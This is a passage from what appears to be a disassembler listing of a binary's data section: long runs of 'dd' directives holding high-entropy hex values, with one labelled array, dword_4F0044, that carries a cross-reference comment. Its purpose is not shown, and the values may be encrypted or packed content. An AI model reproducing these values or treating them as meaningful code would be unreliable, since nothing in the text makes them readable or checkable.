0DE1EA595h, 985D5ADAh, 4B70E9FAh, 871195C8h, 340C039Fh dd 9553D5DFh, 505D0264h, 9F755CDh, 8826018Fh, 0BE7497AFh dd 0DF730ECBh, 56D3E976h, 2852EB55h, 0A401DC0Bh, 1EB4152h dd 45AC0652h, 27A76809h, 0B9DAAAB5h, 0B6847417h, 9F92BEAh dd 0E679F568h, 0AB65202Bh, 6C0A37A1h, 72D7C22Bh, 0B732C1CCh dd 0EA7CA056h, 67C79CC3h, 64595B7Ch, 0C1843144h, 8914E2FEh dd 2DBA5EBFh, 206C9C5Fh, 2C07CD4Ch, 4D82880h, 72C7CB4Eh dd 5C6A22EBh, 13BEC602h, 0D95D4DDEh, 0C218EBE0h, 93A45903h dd 13627897h, 0BC386576h, 44A5B0C6h, 0EF64C062h, 0ACD9ECDAh dd 0C2AEE927h, 0C0785F4Ch, 7A68D9B5h, 0A7D3F157h, 0A8C54341h dd 3D4E658Fh, 0F328DDC3h, 685B0B66h, 85F31464h, 15CBE90Eh dd 0B65F780Ah, 0AA4E93FDh, 2BAC1E34h, 0ECF8E984h, 275C2D57h dd 0B1B25E83h, 80735C87h, 1CC8554Eh, 1712B505h, 2C0A5E46h dd 5102DC58h, 5D8608C5h, 0E90F6C5Bh, 7AC7302h, 0BBCC70C4h dd 0E66819Ch, 5664EFBBh, 839FBEA4h, 5BC8E26h, 0AA0A5451h dd 5840E726h, 0B465C33Dh, 0CE461F41h, 0BC19AD35h, 0ADF36A53h dd 0E2DD8F9Ah, 97735782h, 0F2C87045h, 4B407959h, 3E34B175h dd 1AC4DBF2h, 0EE0413E4h, 0BE13E5D2h, 4F075F19h, 9FA36730h dd 0A0350E5Ah, 6583D3F9h dd 53C02E6h, 3E8D0B87h, 0BE011743h, 74C332EDh, 8099D3F7h dd 315834A0h, 0C64EDC7Bh, 6650158h, 2C1748C8h, 0A1AC0964h dd 63FDD79Ah, 2D3A1316h, 50CB289Eh, 80975FF8h, 234E2DC4h dd 73274843h, 970F5D0Bh, 6AB6B88h, 0C30A21Eh, 0A37F560Fh dd 0CAE18064h, 0F8458605h, 9737AC9h, 0D9F73683h, 0F3C03D83h dd 0C6258D93h, 3855359h, 3E31100Dh, 4A26DE00h, 0DBF7508Dh dd 5EE62068h, 0BD2FE918h, 46FF3AFh, 31015034h, 0B4E4EADEh dd 0FA68195Fh, 2214311Bh, 0CE8F3A57h, 3DA1CCE8h, 0B1AD03CBh dd 0CA0D798h, 4B82FAE5h, 684D8CB2h, 332CF4Eh, 57457D54h dd 205166A5h, 5350E712h, 6F9338EAh, 33621B0Ch, 58A776EBh dd 0C513D6F2h, 835BEF0h, 7D6349BAh, 2D463828h, 5E5E3ADCh dd 0F671AC2Ch, 0E16B7054h, 0E430A82Fh, 16978BEBh, 6EAD29A8h dd 1930683Eh, 0FE118932h, 0DF0C3D60h, 0C3747F08h, 12342256h dd 89070FBCh, 0DA3D04A0h, 415DBDC8h, 0F75A2087h, 8572B54Dh dd 88AF5457h, 0CF4B7EB5h, 858F8C1h, 5F846556h, 46AFCC5Ch dd 9E3601Fh, 0D2C594Ah, 0A39EFFA6h, 5E1325BCh, 0E78CC2EAh dd 0F6756675h, 4836B211h, 21527F9h, 5B2A253Ah, 38504CC2h dd 0F841392Dh, 64C02A5Dh, 0B5619768h, 0BB741B66h, 3D724E02h dd 0C8430AE9h, 0A15BD8F3h, 0F255C1E3h, 41CF2DAEh, 3FDD731Ch dd 1F5460CCh, 567BB863h, 80BC4286h, 0C07741F2h, 2DC9FE95h dd 16D45066h, 9B87AA8Bh, 0F8F77F62h, 0BDCB4B72h, 4E08D28Fh dd 43B104FCh, 1731A888h, 0CCDDE420h, 8955F6EDh, 899261A3h dd 2B64C58Eh, 4DB28777h, 29987751h, 542C559Dh, 0A546AD53h dd 2660E572h, 297900BBh, 640C2D30h, 3120131Fh, 8FE307C3h dd 602E5420h, 78274BCBh, 0F304BFB0h, 4C424A86h, 502C3C80h dd 0C04608Ch, 63407952h, 3027D580h, 0F8307705h, 974F6C7Bh dd 8B4A04FFh, 0D8CAA74h, 91334CE2h, 28A44FA7h, 80CCB2C8h dd 0E1C0DFB1h, 0C1800E08h, 4F7DFE82h, 0D97CD1E9h, 0BDA60C07h dd 0B9F02A3Ch, 61B10295h, 7938952h, 0FC999CCBh, 705E4055h dd 0F8CB7EEAh, 0C2A74AC6h, 3EB379FBh, 0EABF525Ah, 0F6349704h dd 0C0D3C21Ch, 80C105E3h, 0EF290193h, 0BBD22F38h, 9C2EFB29h dd 38131AA7h, 0BF85BBA8h, 0D36D01BFh, 213E18DDh, 4AE27883h dd 646382B1h, 8AE0E982h, 57685600h, 2B10C5Dh, 29ACF75Eh dd 5EE6C34Eh, 5E76F85Bh, 0BD7FF0ACh, 0F1E93421h, 5BD7C287h dd 0C8F60B71h, 0A1989CDFh, 0EF107194h, 0CF752885h, 5119C775h dd 581612B1h, 0FBE9D9C3h, 5B12452Ch, 0D1F89853h, 9EA9E24Ah dd 0B158BB5h, 90A078E9h, 0F0399789h, 5F83F67Dh, 0C3C9E6F8h dd 258F46E9h, 0E9895E38h, 0A590C557h, 818053DCh, 163867EAh dd 5D0B06Bh, 64BE5E70h, 92B0AD29h, 7C124400h, 0E243604Ah dd 80F24BE9h, 4C8D2D8Eh, 8870A42Dh, 0E91F07F3h, 2CBFFBD6h dd 0DD4FBD0Eh, 4E51BA8Ch, 0D37BB307h, 61399D45h, 5FBD89D8h dd 0ECF6DD09h, 0D5A99756h, 7AC860C6h, 211255B6h, 12206EF4h dd 0F844D431h, 3D84FBCh, 22F92487h, 4E013F5Dh, 295C0C20h dd 838A0C2h, 43BB584Eh, 529BE9E2h, 68E59706h, 22E13FABh dd 0C98980A3h, 5848347Ch, 0C1DDF702h, 805208EDh, 0DF19EAECh dd 16BA044Eh, 0A2B120E6h, 7F7C0675h, 790035Dh, 13923A50h dd 8206829h, 17141CD0h, 67E1D3E9h, 3D01B47Fh, 38CC7518h dd 664D70Ch, 0EE90AFDh, 0E14C9FF9h, 15C24B4Eh, 41BC7559h dd 7520B284h, 0EC5E5A08h, 37F4A714h, 0EAF454AFh, 3A94B558h dd 68414D04h, 97F9428h, 3A015A07h, 0C608132Eh, 0E9166075h dd 1092D66h, 646D12F5h, 0D98627F9h, 2F63FC7Eh, 0B2BA84B0h dd 10589074h, 0BC4B5ECFh, 25E496D1h, 0B061403Ah, 0EB80C909h dd 0CA2EF528h, 8323D9B3h, 0F4E9F31Eh, 0E3D313E4h, 54EA0EBCh dd 0FB882DFh, 0D05F3ADFh, 70469DDh, 779C5A06h, 5CF04490h dd 0F772634Eh, 0F7D4C059h, 0F37E9DE3h, 0A7DD1CBCh, 2C3C712Fh dd 2710BED9h, 19BF02C1h, 603B9F70h, 2C2A86AFh, 58270C98h dd 780960B9h, 0FD29DBAAh, 0F125CCE5h, 1CE240C7h, 32645C57h dd 10900898h, 0D2BB6BBh, 0BE56434Dh, 1737383Dh, 0E8F003E9h dd 37120968h, 272072D0h, 8D2FC8F2h, 2D1040BFh, 855203DDh dd 80D4E93Bh, 2499FE85h, 0BEC7E578h, 1F9600AFh, 8C09CE81h dd 62512E2Fh, 619059C4h, 0F95E5CD7h, 0ACF23B21h, 0D1BD55C3h dd 0E9A816DBh, 59E08BEh, 8BB4555Ah, 1DD1C1B5h, 97A2EA14h dd 16CA4E7Ch, 0D48FBB18h, 0EEFAE90Bh, 4B51C625h, 7CDE681Dh dd 92345F2Dh, 20F0B92Dh, 9A1AB99h, 0EB311EC8h, 718F795Dh dd 0E96AE45Eh, 345246CAh, 0D7296B40h, 0B7FCA88Ah, 2C7BE960h dd 523F00F1h, 0EB14E2BAh, 0D1482129h, 0AFFA345Ah, 0CF6F31F1h dd 846F482Fh, 3898C92Eh, 2B2514D8h, 0B20BBB4Ah, 4F5EA620h dd 26408F02h, 0C7FDC006h, 34FE3245h, 0E1F9093Eh, 47CF77CBh dd 7AEF8189h, 5FE91B0Dh, 3ED8DFCBh, 748427Bh, 23E54BF3h dd 0CAD7E301h, 0CEF2FE04h, 1563E9C2h, 6B4F9190h, 177C11Fh dd 8A0753Ch, 665AF568h, 4424C30h, 0D340F9A3h, 61EA4955h dd 479E0C31h, 0F4CA427Dh, 0FFA30957h, 5D279845h, 770B0780h dd 7A976F17h, 0C4102059h, 0D1270790h, 0B58A64B4h, 774B7A71h dd 0E968E221h, 0C2CD881Dh, 0C5FC27DFh, 0B7083D2Bh, 0DADC2F75h dd 126F420Eh, 8C0D9FFh, 779E5251h, 1D73A36Bh, 5EA03CE1h dd 0B4DBEAB7h, 2834EEEBh, 0A47CB2EEh, 0DFABBB0Ch, 0EC949FC1h dd 7D6B18BEh, 8B02954Ah, 6C56A174h, 0D208F168h, 0E3860027h dd 84CB050h, 2CC1C350h, 9A88169Ch, 95D1F67h, 71647A91h dd 0ECF2292Dh, 18FEF0F8h, 0C420A7Dh, 0F109494Bh, 5D001C1h dd 39AAEDBBh, 7E75F0C2h, 0CEA62562h, 92598298h, 13F17FECh dd 0BB1E0A7h, 78B880F0h, 6A0D570Ah, 1600BA48h, 83095106h dd 810101C3h, 0DE613CCBh, 0A7C17017h, 0F109F8B1h, 475E8868h dd 0EEAE60A7h, 9538ACC2h, 65D7D362h, 77E90549h, 8A9DB2F0h dd 0D42FB9FDh, 651EE8A1h, 8998B82Dh, 0FB95A8CCh, 0D040E953h dd 0DE9E0E22h, 9418EFA4h, 564B02C6h, 0E9C62CEEh, 731F5930h dd 5F3B2CCAh, 318444h, 8355E07h, 4A131E56h, 0EAC24CE9h dd 0CF707729h, 1441BCBDh, 0D77D97E9h, 15C47784h, 10E450BBh dd 41296065h, 0B151AD40h, 0E030B20Ch, 7051B8CAh, 777CB5EAh dd 0BC90F5E9h, 3A5B8CE9h, 5E622BA7h, 6800B56Ch, 626367A6h dd 0F9F861Ah, 0BCBE4855h, 55B095EEh, 5F82D3CBh, 6DF21FF8h dd 60C03F55h, 5E005F3Ah, 13A7522Dh, 5FC6318Eh, 57A71F58h dd 0D84EA91Dh, 0A418DF40h, 5B2C532h, 1792E7F6h, 74AFF868h dd 0CEEE800Eh, 5897B15Ch, 0DCA690Ch, 1EB53EF0h, 0ADE91670h dd 0BE6BD557h, 15F72415h, 8F3CFD5Dh, 784193F6h, 314968CCh dd 0A3934B79h, 0A2E916C9h, 0B16BC399h, 0EAE8F036h, 49F3F1BFh dd 56F910D5h, 6EE91254h, 49205FD3h, 79F45750h, 1F804F02h dd 2CA6D65Eh, 4C290351h, 0E2267014h, 4117E2F2h, 40E12BAh dd 14B9F34Ah, 1B280EE9h, 0A34273FFh, 0E006EAC1h, 121516BAh dd 0ED4A7B20h, 75C202FAh, 5740D5CDh, 2BED4DE8h, 0C8A80209h dd 0B0C0CC21h, 5E7C92D4h, 4D2CCB31h, 4C94C19h, 6A764909h dd 0F50074ADh, 9589B6F2h, 0E925EF01h, 0E2B24817h, 0FD481DECh dd 5CA8119h, 6E66AF26h, 0B8C47F84h, 7354181h, 32C78D3Ah dd 5E992A9h, 9CCB6A3Fh dd 0E158F635h, 4D075AD0h, 76735059h, 0BA0E037Bh, 39AF0118h dd 51967006h, 9941A32h, 448590Bh, 0FE300B55h, 60348E27h dd 42D1926Bh, 1F799302h, 0A08F7642h, 0C6E92508h, 0AEDB228Bh dd 0C1EDAD82h, 82E357D5h, 0D9D4404h, 0D1C22B9Ch, 0BF6A6747h dd 680F80CAh, 84BB6967h, 18325202h, 0ED7AD71Ah, 0CB6E5094h dd 0F2CB740Ch, 769D0550h, 52C07A83h, 0AC4B4BDEh, 0E94F82F8h dd 0B5BFA017h, 3E46241Eh, 82C700CBh, 68676E12h, 7126B92Fh dd 34443Fh, 462D25E7h, 0EB5832E9h, 0E5E0F593h, 0F1242BADh dd 57096F22h, 47CA8068h, 48C15F1Ah, 0F70068E7h, 5D432845h dd 934AE94Fh, 531DCCE1h, 0BFCCBDF8h, 0A7EAEA59h, 0C8517A02h dd 56B3407Dh, 65DE050Ch, 0A48060E9h, 3F0B22Dh, 1DF8784Fh dd 4B6C7913h, 6475CDA2h, 363AB7B3h, 0BB2C7584h, 0C0AF9034h dd 0B7667EECh, 0E5814A01h, 2B7F3118h, 40E80C9Fh, 0BE566DD0h dd 5D0962CFh, 76F52103h, 9B230876h, 0E0C1813Dh, 0B630506h dd 525BFFC3h, 15C8F4A3h, 0EDAB16EFh, 709C8E60h, 294684Fh dd 519D08A0h, 18A46009h, 35064AD3h, 1FDD1362h, 71FC0BB0h dd 0B2F86B5Ah, 0B02D8CBDh, 0F5681489h, 8006D845h, 0C349467h dd 0A4B9D10Bh, 1F827D02h, 0E16648B4h, 334D5779h, 0D2B0348Ch dd 0B75321C0h, 0F8303FA9h, 59549F1h, 492FD26h, 0AC67E868h dd 0D3A4C4DFh, 0C500FA12h, 7868D7F7h, 0E965A80Dh, 913AEB70h dd 96889FB8h, 1FFC631h, 0A9779256h, 35E43026h, 0A9B3900h dd 0F21C981h, 494D0468h, 0D07701E9h, 5417E014h, 15B90C4Bh dd 95EDFE73h, 805EF68Bh, 13BF6805h, 0DFBE7340h, 2519862Fh dd 0C55009E9h, 0C64F4FB9h, 761CF35Ah, 75CA2053h, 90BE661Ch dd 0F7013FFAh, 1895E4Ch, 0E90BF9EBh, 0CA3B5874h, 205A75E0h dd 11072E7h, 0EEC00F99h, 0DEAC0502h, 194801EDh, 14DA70Fh dd 0ECF013D6h, 18BC5BE3h, 7E6978ADh, 2A5B11CCh, 194309D6h dd 5B5E294Ah, 0D8FF0820h, 0B892E378h, 7BBCDF4Fh, 0BE6110DAh dd 0EA65835Eh, 10D81AD1h, 0A0AD3E4h, 0BA88CBB2h, 30C38007h dd 8791EB33h, 66D4103Dh, 63E32E68h, 0C70D1595h, 7404B64Ch dd 84750876h, 62B4BB0Dh, 952B1366h, 9F170531h, 306C8BAh dd 0D50C2698h, 3115DA50h, 90D904Fh, 0AA22B7F3h, 0FBF94175h dd 0ABA55C2Ch, 0E69A0CF2h, 0B713EBDDh, 9A8C9500h, 0FBD84B21h dd 0F96E0479h, 5FA94E90h, 3499B015h, 0DF491950h, 0C796AF10h dd 1727E912h, 207AE7F6h, 0B94B3E36h, 0E9FC1957h, 0C545B94Bh dd 0C9EB8DDFh, 0AD807E90h, 26046A1h, 1607BF2Ch, 9F7E691h dd 3364D586h, 3EEA4155h, 50D9F087h, 4171BF9Fh, 7E7E69C2h dd 0F8AC6281h, 0E2EB5C04h, 39AAC41Ch, 0B9CE07D3h, 412E0D75h dd 8C294D6Ah, 41A13A7Ah, 0FE56B31h, 0B07E09F1h, 150591A0h dd 0E4E97FD4h, 0DF178A5Fh, 38A59000h, 5C8110CDh, 0BF18DDF3h dd 37930C33h, 1329D0Bh, 0E28073DFh, 7F0B58DEh, 0A92652CDh dd 0CF09F7CBh, 499CCCEEh, 0DBF87752h, 13C0755Ah, 2525D4BBh dd 3CDE56A0h, 0B7A45625h, 0E5028B76h, 57407670h, 0FE7E6DADh dd 0E9CB290Eh, 8050F84Ah, 0C5D37CE3h, 61810F14h, 59AD82BEh dd 0BF8D3A49h, 0A4C8E82Ah, 24D35EF2h, 16BECE7Fh, 9644C20Ch dd 125679C5h, 4E8BFBCDh, 5D64604Ah, 6E4BB768h, 2DD1D1ECh dd 99FD3112h, 18BDFCBBh, 0ABA81FCBh, 0FF6C77F3h, 0E9EB48EFh dd 1445B59h, 26633548h, 0E13A1454h, 0AA2144BEh, 17241EB0h dd 0EB125919h, 0D68FA444h, 6604550Bh, 6F7EF8DCh, 2083C98Eh dd 22A5BFDFh, 2E164C12h, 0BB2B6202h, 47644F6Dh, 7A39D2F4h dd 0D90C60A4h, 246C2833h, 102DFE89h, 7ACE65EEh, 44AA9934h dd 715E2F1h, 2F5217BAh, 0A0495036h, 8AE520C5h, 6668B668h dd 18887B1Fh, 842487E6h, 111F8D3Ah, 27EF6E7Eh, 3401E7C4h dd 7E538A68h, 503D0CBh, 19771064h, 0A04EB0A8h, 2119E9EEh dd 0D6FC010Bh, 72E4F2C9h, 95C49A0Ah, 73C36680h, 2F957F67h dd 6AE34D8Dh, 16D7222Bh, 5C16687Eh, 0E3809064h, 7C661CEFh dd 0C8E70278h, 4F03B30Fh, 1F1B4A60h, 217D290Bh, 32EFC0D7h dd 1E7A1366h, 0C946FA09h, 50126E2Fh, 419BAA01h, 8EF2F421h dd 1B0F2E12h, 874AEF81h, 1CF154EAh, 0C9876ED9h, 7A5338C9h dd 0C492CEA8h, 0F08BFB34h, 11F6261Ah, 0BC094C56h, 833BE46Eh dd 0FED4D2FAh, 0BC56AFCFh, 0DA5CB383h, 6AF6B057h, 3442639h dd 3F9B2E17h, 5A6DCC4Eh, 0EDF06824h, 0C5B3E986h, 0B1BE010Ah dd 0F74B1870h, 27EBF3DEh, 0BA202312h, 0FE35D8AFh, 58036C94h dd 8B32CE35h, 0D6C3DA07h, 0EE4F3ACAh, 78225709h, 126091FFh dd 426AC296h, 0C74FD7C0h, 29D58012h, 836D5AAh, 7126D85Eh dd 81F02ABCh, 66D1080Bh, 0E7D9025Ah, 61E4DF10h, 1DC3FF90h dd 9876F180h, 7828DFEEh, 0A0C675CEh, 9D9E41A4h, 0D82EF344h dd 814F1A98h, 5F326F11h, 4213C83Bh, 3C532D40h, 0D1122AB3h dd 0CD77EA8Dh, 7F9454B2h, 0AF70DF4Ch, 72C4CE78h, 55092A69h dd 7B092C58h, 5B7E6E78h, 0D9CA0806h, 10037F25h, 20843834h dd 0E1C065E9h, 8238F22Ah, 4C0CA468h, 10244B4h, 10492398h dd 1AE85EACh, 215553F1h, 0C8ABCA25h, 0F7264C58h, 2505D8DAh dd 0A4C26BF8h, 259DDEAAh, 2AE5EA78h, 0CA5BFE5h, 69A4CB56h dd 7E6AC00Ch, 92D0A1ACh, 5A794020h, 0C0FFF85Fh, 318C6A0Ah dd 0C04D5A5Dh, 0E906ED57h, 3D00BE4Ah, 673825BBh, 81430F65h dd 0F285C3CBh, 91AC8714h, 2E10C415h, 9D879183h, 9D10E5AFh dd 59C0BB0Fh, 0E38179BDh, 5A021883h, 1B6F0C0Ah, 77465E2Ch dd 0F554C903h, 0C6540431h, 53E567D6h, 3F08C107h, 0EB964E97h dd 0D408822Eh, 85BF97E8h, 818FEEDEh, 813E8D50h, 430C9059h dd 4851AC4Bh, 30A14EB0h, 4200F83Ah, 0D85E27ECh, 0A1A737E7h dd 507E625Fh, 8785D6FEh, 0F2BBFFDFh, 5AF9739h, 0B12CE97Fh dd 0FCF33FD8h, 4A74E982h, 2CD1270Fh, 42E25C8Bh, 0BB0087C5h dd 0B88C4F4Ah, 55C20463h, 0EA566660h, 8004EE1h, 9D0F18E9h dd 0A20044CAh, 27FD4257h, 5A60D8A0h, 0CFE1BA5Ah, 0E5FA7FC4h dd 0DAA8AE55h, 3BDE88A4h, 9A26E894h, 0EF13581h, 16C112Ch dd 0B704C958h, 8234C713h, 0B9005CC3h, 5EAAA9DCh, 34FD8786h dd 0E26AA84Ch, 7312E058h, 455B2422h, 24BA005Ah, 30E940C8h dd 9604B1A8h, 0B5515301h, 0FFED8034h, 26E4E5CCh, 0ADF937E9h dd 331AEAA2h, 14E16759h, 882FF679h, 2708A60h, 0A524F3BDh dd 95241C7Dh dword_4F0044 dd 0F8C93453h, 2D0C7185h, 0F4CA6A98h, 0D171E0DFh, 0B75B0EDh ; DATA XREF: ___:00437A2Co dd 7F37C3A8h, 315F2287h, 92A5E9EBh, 93BF28C1h, 7B9B80BEh dd 303FF698h, 0F636F14Fh, 915A4E10h, 0E634C1DFh, 0BDF95B06h dd 0BB293478h, 606983A6h, 5A777C59h, 498700BCh, 295B1D13h dd 0AB042B7h, 1C096908h, 87855E06h, 85CBDCC1h, 0CED0AA14h dd 0B64E1B8Eh, 0D5C6825Bh, 0C0776908h, 1611C30Eh, 80D16E7Dh dd 0E0449C71h, 0E3B4C94Eh, 0D8050EC8h, 0E9C49F2Ah, 48ABA9B1h dd 0D27C1377h, 50E1C8FEh, 0B03B5372h, 0FE930F0Ch, 0B7B70EC0h dd 0DFAFFD09h, 96840BBAh, 6C7107Ch, 3B916247h, 5328B466h dd 6956CBDAh, 58D1F1A5h, 8BB732E9h, 8EC57596h, 65622F28h dd 0BE53285h, 0A54BF474h, 97EC0545h, 8109E05Ah, 7622ED24h dd 1CFB7017h, 9D08A8D7h, 9E201F16h, 675E571Ah, 80EFA440h dd 4AB7C831h, 0B7735704h, 5FA3E961h, 35405380h, 236B70F4h dd 7EC2292Fh, 0B506C856h, 47B4DD3Ah, 680428BBh, 64A86D7Fh dd 0F3445DC0h, 4A014227h, 1306E281h, 9487778Ah, 0BA71C514h dd 46BD02FDh, 68C00D07h, 3895E2C7h, 82B5AF3Fh, 0C445A409h dd 0CF0C0C6Dh, 275F20E9h, 0FCEB8013h, 0A2C907EAh, 6E550BC0h dd 4FD295F6h, 25E0F39Dh, 61A4107Dh, 0F8C6971Ah, 6A13E9FBh dd 0A1E9E9C4h, 1178B189h, 0AB8F665Bh, 335F680Bh, 436E13B0h dd 5010A525h, 1F4B6E24h, 0BBB52DA5h, 4E7CE6B7h, 5AC0C06Fh dd 51CBA52h, 61A518A0h, 3B7C392Ch, 61DE5425h, 0F858847Ah dd 6AC4570Eh, 5D28FE81h, 7D6975Fh, 680CC256h, 22AB4590h dd 905C517Eh, 65FC94C2h, 0BA17C359h, 3E579AC9h, 47F0BE8h dd 1141141h, 0C09645Ch, 0E8BF565Bh, 29E90621h, 5D775BA0h dd 6FE186F4h, 298736FDh, 0F312085Ch, 6EB73302h, 45C7C03Ch dd 0EFC97F0h, 5FC6E94Fh, 1830A865h, 69985D49h, 10750C63h dd 0CF488BB3h, 2BE3C723h, 0A6DF72CCh, 0D8B51678h, 0EEC324E2h dd 8C269FB8h, 521DD0B8h, 81FEC1EFh, 9F2050Eh, 0F1423FF3h dd 307892Dh, 4E85CF9Fh, 7804BB33h, 1613B413h, 0F598BED6h dd 0F8D84F9Bh, 8ABBA422h, 65BE4E5Ah, 9211E6B5h, 44180749h dd 0F73EF7BAh, 68E1056Fh, 30BF0DA6h, 0EFC00733h, 50660816h dd 88ABF300h, 4B2059E8h, 6B7AF2C7h, 9D345DE6h, 0B5D47095h dd 50A78474h, 42DC09EFh, 0A8DF09D8h, 0D4300818h, 40500C0Fh dd 0D325E965h, 3820FDF3h, 0E064C40Dh, 37C220FDh, 0C59569BFh dd 0CFB0E67Bh, 0A90E499h, 688729A8h, 81765A5Dh, 0A260CEBBh dd 60D3FD70h, 5D2EABA7h, 1208DC51h, 0C531054Bh, 7F0F8058h dd 22CEA03h, 0D1736189h, 783A3752h, 15B5CFCh, 0E32FA5BDh dd 10461057h, 8BA2561h, 5528A6D2h, 5D240A68h, 0E98EAD01h dd 0C2F1D87Bh, 65301450h, 890A746h, 0EC4A1C6Bh, 0D6A58151h dd 582D51D6h, 0B55BE950h, 0B8A70185h, 9048AE96h, 350E301Ch dd 4C034538h, 0AF8F2D5Ch, 0D701A23Ah, 34F80432h, 4A16ED01h dd 96E9581Fh, 68090768h, 4E4097Bh, 188A5E4Eh, 5361E44Bh dd 915A4740h, 0B4680493h, 0F8CC1F0Eh, 0B0D1A329h, 0F2D55AAAh dd 5E5CA2F0h, 0C280509Ah, 0EEC12180h, 0A38BBD11h, 251DED5Fh dd 0E95833D6h, 6CC258C8h, 0C43D12DEh, 1FCBBF4Eh, 5054FC10h dd 1B1E5E45h, 30FB35C7h, 99C365CEh, 7C241F25h, 0B8B70D43h dd 0F1046B4Ah, 0AF8CF08h, 0C1FF66B2h, 0E37FC50Ah, 0CD0A1FDh dd 315BB151h, 4C67A860h, 0AEA5AF11h, 8A058AD1h, 67785041h dd 0DDF9A2DDh, 0BEE463Fh, 501320DBh, 41FF09B4h, 0F4800653h dd 0C99C209Fh, 78EA5082h, 96C29E27h, 7E4BF03Ch, 5D3E859Dh dd 4CD39533h, 3E26AC35h, 9557A561h, 7116A4B6h, 6DEE2029h dd 0E5A3574Ah, 556BD16h, 0A8556F0Ah, 1FC00577h, 0C29429D9h dd 0E6E90702h, 0DC96A55h, 0DC6E70C6h, 7631E949h, 5BD875F4h dd 16A30F70h, 0EF7C4007h, 8F9F9744h, 850528BDh, 1159066h dd 6249EDABh, 0ADF3D82Fh, 43DBB606h, 947D901h, 7CF05D42h dd 0D747489h, 71500304h, 4B903F83h, 0FD7BC194h, 2CB801EDh dd 24F0FFA5h, 7A31F00Bh, 0E909C866h, 2739EFAh, 1483685Dh dd 0EC887C51h, 0C7622537h, 0FB1387D1h, 0D3F575A0h, 0AF51C53Ah dd 97B33A17h, 0EE8C1C0h, 0D45BF2E9h, 950980A4h, 0C7AAA8FBh dd 590E9420h, 6E10A584h, 4A6859B0h, 7199560Bh, 0B2BBEC36h dd 0E0B8DD5Ah, 606B688Eh, 0C497613Eh, 0C1312959h, 0BF5708E4h dd 0AEE8100h, 91358802h, 0E27CC8BDh, 0D255665Ch, 0C5B1E9EBh dd 2C684BEh, 3CD5835Bh, 0EA63023Eh, 4EF3201Dh, 9620EF52h dd 0EF594B4Dh, 60153228h, 39EF3B08h, 32765A0Ah, 1D0CF704h dd 0C78225BEh, 257D79F1h, 88621F71h, 57F99AF5h, 0AF33F86Ch dd 0B9F81DF2h, 0C382C22Bh, 925BC068h, 0BCDA4955h, 0EB890F8Ch dd 0FA95C712h, 58E917E2h, 4C81CA50h, 0FCE170F3h, 0E0BD2959h dd 0BDEE2DE4h, 5C6243F9h, 0AA40D761h, 23CBAF6Ah, 43D6C833h dd 0D9758226h, 182D0163h, 6A56AE3Bh, 7034EB1h, 259D8781h dd 0A71CE342h, 8592594Dh, 5EEF1EBh, 0AA1BF568h, 0EF5B2DDFh dd 0AB203D2Dh, 0B5D3974Bh, 0D4EF689Ch, 0D6026968h, 8848D629h dd 0EFAC3814h, 79C5F620h, 133D1905h, 2F55CE3Eh, 25688F88h dd 1A942D96h, 8BAC5B7h, 0E3046C81h, 0E5EB534Ah, 468288D9h dd 7DBA00BCh, 4A69861Dh, 831E549Dh, 1430715Dh, 83EF90B7h dd 0E92AD713h, 474BA49Ah, 524DEBCh, 791C043Ch, 0FC01BF77h dd 5C9F97E9h, 113827Ch, 4CBBA8D6h, 8BEC25EAh, 3E4577FFh dd 1243BB65h, 4F1C1EEDh, 0F10BB10h, 0D05B2508h, 0B455B39h dd 0E2595D97h, 4B9CC967h, 13FC0BC1h, 30F04512h, 9144E17h dd 0FE58000Bh, 0F1E90131h, 3062027Bh, 4904B4CBh, 0CB014E55h dd 80F86C4h, 45DE2959h, 297DADCCh, 3189D595h, 14436157h dd 0C908E22Ah, 0D3691155h, 2667324h, 68F18658h, 9B7D7419h dd 0EA8081F7h, 0B299DC30h, 17F3BD8Dh, 7201616Ch, 72304BC8h dd 0CD45145h, 65EF4A3Ch, 118CFA2Eh, 0E3FFE2ADh, 0F23A8D25h dd 0A95E8989h, 0BE7F9CEh, 3803535Ch, 0AD8187Dh, 375E6C1h dd 4668D427h, 0DB5F50D8h, 2B3A4176h, 1468AAF0h, 0BC52300Bh dd 0EB131377h, 0D5F58167h, 31AD00FCh, 6FE290D8h, 28C66FD4h dd 0D070C73h, 59A34878h, 0A96D4151h, 1CE0D1FCh, 82DEF635h dd 75BE9FFh, 90703A7Dh, 83B2A9BCh, 49D4C101h, 5751604Eh dd 0D3BA7FF8h, 8EFBC71h, 124D0135h, 85180B08h, 49C7915Dh dd 26F61DECh, 8F4C789h, 4F3CED34h, 280451BDh, 0BE7FD1AEh dd 0A7103453h, 30CB5AA7h, 0A22BB745h, 5F5C8BCBh, 3091C318h dd 176FBA80h, 177E5547h, 0E8E92952h, 0F1F249E1h, 5C7EC709h dd 0DDF00822h, 1135E03h, 89C2F2CAh, 0B0789C08h, 0F8995E5h dd 0F660BB7Ch, 0FEC6FED6h, 2E79A72h, 5D44055Fh, 2F7376Fh dd 190C81Fh, 0F6D1685Ch, 2F207A6Ch, 0A709B676h, 5FF23854h dd 3222C24Ch, 617BA207h, 0A8E5A0DCh, 733EE02Fh, 0D613772Dh dd 2CFC029Bh, 69F74AF9h, 0DB283280h, 0E67F5CCBh, 0AC2F2079h dd 18406812h, 13C452E8h, 0BFB812BDh, 0BB90502h, 0B8883973h dd 81E9F05Eh, 0E03AF541h, 92296897h, 99082F47h, 8FC0271Ah dd 6014A5E2h, 1ED5542Dh, 0D694294Bh, 9CE909EFh, 3EEA7B82h dd 0E1901E20h, 6A6B160Bh, 7E647F97h, 20252E32h, 52137156h dd 0F925E8FAh, 4934F90Fh, 0E9268D96h, 3B4C17FAh, 0A4C94A9Eh dd 391265E5h, 9A000D38h dd 181C2D03h, 0E9BD16D0h, 8813816Dh, 0FBFA70FDh, 166A5F81h dd 8444ADF6h, 2CFA5DEFh, 0B524E933h, 56F9895h, 69EB7C1Eh dd 0AD1670CBh, 54096F9Eh, 0D2F30459h, 0A99A5194h, 0BF725D50h dd 7F2CD1D3h, 0CF9F742Dh, 0E5BAB832h, 956B7AFh, 0FE31D968h dd 0BC116829h, 22C5D0AEh, 3AA390A9h, 772C6807h, 48E6809h dd 0BB8C0CC6h, 89BA3C65h, 4AB3DF0h, 7FB0C9Eh, 0DCC5C4FBh dd 0F62D5C44h, 0E9CA68F1h, 53CB40D7h, 1437B725h, 38B40140h dd 9BE9E708h, 58984A5Ch, 737C162Dh, 6D422DE6h, 0D7C68104h dd 87DDC538h, 12EE8510h, 13660908h, 7AD39942h, 0DFBF664Ah dd 0E12EC9ADh, 81D2258Eh, 3E5B858Eh, 0E85AF4B8h, 0B0E5A7C0h dd 66BC09AEh, 21D2C7FFh, 0A9FD2D5Ch, 604540Eh, 4B06E7E9h dd 8B8D1969h, 